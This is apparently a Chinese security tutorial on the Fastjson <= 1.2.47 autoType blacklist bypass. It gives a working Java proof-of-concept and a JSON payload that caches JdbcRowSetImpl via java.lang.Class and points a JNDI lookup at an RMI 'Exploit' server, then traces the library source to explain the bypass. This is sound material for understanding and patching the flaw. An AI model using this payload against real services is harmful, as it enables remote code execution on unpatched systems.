声明
本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。
Fastjson <= 1.2.47 POC
随着 fastjson 的更新,以往的安全漏洞都被封堵掉了,但道高一尺,魔高一丈,安全人员发现了一个通杀的漏洞,以往的封堵手段都可以绕过,算是一个里程碑的发现。
我们首先将 fastjson 升级到 1.2.47 版本,然后使用我们之前的POC进行测试。
import com.alibaba.fastjson.JSON;
public class Eval3 {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
不出意料的话会出现这样的错误提示信息:
autoType is not support. com.sun.rowset.JdbcRowSetImpl
这是因为 fastjson 使用了黑名单机制,禁止将 com.sun.rowset.JdbcRowSetImpl
反序列化。
下面我们使用新的 POC 进行测试,又可以利用成功了。
import com.alibaba.fastjson.JSON;
public class Eval5 {
public static void main(String[] args) throws Exception {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}
payload 格式化之后如下:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://localhost:1099/Exploit",
"autoCommit": true
}
}
Fastjson <= 1.2.47 绕过原理
在学习绕过原理之前,了解 fastjson 的基本解析流程还是有必要的,我画了一张类图仅供参考,图中只画了主要流程,还有很多类没有画。
上面我们已经发现用上一节构造的 payload 已经无法通过,就是因为在调用 ParserConfig.checkAutoType
返回的。
安全人员通过审计源码发现,当JSON对象的类型是java.lang.Class
,并且存在 val 字段时,fastjson 会将其解析转换得到字符串(完整包名),并将 val 对应的类加载到缓存中,而 checkAutoType
方法中,如果从缓存中获取到了 Class 就会直接返回,不会再进行下面的黑名单校验。
以我们构造的 payload 为例,首先会解析
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
因为 @type
是 java.lang.Class
所以通过了 checkAutoType
校验,进入 com.alibaba.fastjson.serializer.MiscCodec
的 deserialze
方法,下面是 deserialze
方法的部分代码。
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
// 代码省略
Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
// 解析 val 字段
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
// 转换为 String 类型
strVal = (String) objVal;
} else {
// 代码忽略
}
// 代码省略
// 这个 clazz 是我们在 @type 中指定的类型,因此是满足这个条件的
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
// 代码省略
}
而 com.alibaba.fastjson.util.TypeUtils.java
最终调用的方法如下:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
可以看到 cache
参数是 true
。
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 代码忽略
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
// 这里缓存了 com.sun.rowset.JdbcRowSetImpl 到 mappings 中
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
// 这里缓存了 com.sun.rowset.JdbcRowSetImpl 到 mappings 中
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
解析完第一个JSON对象后,开始解析第二个JSON对象。
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://localhost:1099/Exploit",
"autoCommit": true
}
我们直接看 com.alibaba.fastjson.parser.ParseConfig.checkAutoType
的代码:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 代码忽略 ...
if (clazz == null) {
// 这里从 mapping 中通过类名称获取类,因为在处理第一个JSON对象的时候已经把 com.sun.rowset.JdbcRowSetImpl put 进去了,因此这里一定是可以获取到 Class 的
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 不会进入这个判断
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 进入这个判断
if (clazz != null) {
// 根据参数调用得出 expectClass 是 null,也不会进入这个判断
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
// 直接返回 Class
return clazz;
}
// 代码省略,下面的黑名单判断已经不重要了
return clazz;
}
可以看到在缓存中获取到 Class 对象后直接 return 出去了,下面的黑名单校验并没有进行,之后的逻辑就是构造实例,发出 JNDI 请求,在此不再赘述了。